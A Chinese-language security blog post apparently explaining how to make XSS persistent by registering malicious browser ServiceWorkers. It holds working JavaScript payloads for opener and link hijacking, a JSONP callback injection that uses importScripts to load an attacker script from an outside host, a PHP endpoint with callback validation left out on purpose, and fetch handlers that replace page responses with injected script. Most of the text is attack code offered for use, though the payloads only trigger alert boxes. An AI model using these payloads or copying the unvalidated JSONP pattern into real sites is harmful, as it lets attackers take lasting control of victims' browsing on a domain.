XSS with ServiceWorkers

持久化 XSS 的常见姿势有

本页目录
  1. 前述
  2. 简介
  3. 作用
  4. 快速查看
  5. 注册方式
  6. 利用环境
  7. 注意
  8. Demo
  9. 参考资料

前述

持久化 XSS 的常见姿势有

  1. with CSRF Inject
  2. opener hijack
window.opener.location="javascript:alert('Xss')";void(0);
  1. link hijack
for (i = 0; i < document.links.length; i++) {
document.links[i].οnclick = function () {
x = window.open(this.href);
setTimeout(function () {
try {
x.location = "javascript: alert('Xss')"
} catch (e) {};
return false;
}, 3000);
return false;
}
};
void(0);
  1. HTTP cache hijack (需要配合 CSRF)
  2. with Service Workers

简介

Service Workers 全局请求拦截技术让我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。当然,由于这项技术能量太大,所以在设计的时候对他做了一定的约束:只在 HTTPS 下工作,安装ServiceWorker的脚本需要当前域下,且返回的 content-type 包含 /javascript

作用

  1. 监听、篡改 - 请求、响应
  2. 升级反射 XSS 到存储型
  3. 持久性控制

快速查看

chrome://serviceworker-internals

或

-w889

注册方式

  1. script
<script>
navigator.serviceWorker.register("/payload.js");
</script>
  1. link 未成功
<link rel="serviceworker" href="/payload.js" scope="/">
  1. header
# Response - Header
Link: </sw.js>; rel="serviceworker"; scope="/"

利用环境

  1. 必须为HTTPs,哪怕证书过期

  2. ServiceWorker 文件可控

    1. XSS

      • 可以尝试直接注册 SW
      • 配合跨目录上传,注册根部 sw 文件
    2. JsonP 利用跨域传输payload

    3. Cache 缓存

注意

  1. 注册时,文件路径决定可影响范围,所以越接近 web 根越好;若在根部,则影响整个域下事件
  2. 利用 jsonp 时,JsonP Content-Type需返回为text/javascript或application/x-javascript或application/javascript;
  3. 需要 xss 插入 payload

Demo

i. JsonP

// server side -> xss-attack.html
<script type="text/javascript">
var url = "1.php?callback=importScripts('//blog.sari3l.com/sec.js')//1";
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register(url)
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
</script>
// server side -> jsonp-bug.html
// 根据实际 jsonp 利用修改上面 xss 攻击 payload
<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();
header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");
// attacker side -> sec.js
onfetch = e => {
body =
'<script>alert(document.domain)</script>';
init = { headers: { 'content-type': 'text/html' } };
e.respondWith(new Response(body, init));
}

-w1082

ii. Cache

如果使用cache.put方法,则请求的资源成功后会存在Cache Storage里。如果fetch里写了caches.match(event.request)方法,则每次请求时会先从caches找缓存来优先返回给请求页面。若没有缓存,再进行新的缓存操作。

下面是一个缓存读取/判断的demo

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response。否则用Fetch请求网络上原本的url,进行本地缓存(为了不影响正常功能))
self.addEventListener('fetch', function(event) {
event.respondWith(
//console.log(event.request)
caches.match(event.request).then(function(res) {
if (res) { //如果有缓存则使用缓存
return res;
}
return requestBackend(event); //没缓存就进行缓存
})
)
});
function requestBackend(event) {
var url = event.request.clone();
console.log(url) //打印内容是打印到请求页面
if (url.url == 'http://localhost/reurl.html') { //判断是否为需要劫持的资源
return new Response("<script>alert(1)</script>", { headers: { 'Content-Type': 'text/html' } })
}
return fetch(url).then(function(res) {
//检测是否为有效响应
if (!res || res.status !== 200 || res.type !== 'basic') {
return res;
}
var response = res.clone();
caches.open('v1').then(function(cache) { //打开v1缓存进行存储
cache.put(event.request, response);
});
return res;
})
}

参考资料

  1. 短短哥 - 持久化 XSS:被 ServiceWorkers 支配的恐惧
  2. RootkitXSS之ServiceWorker
  3. https://lorexxar.cn/2018/04/20/SW-xss/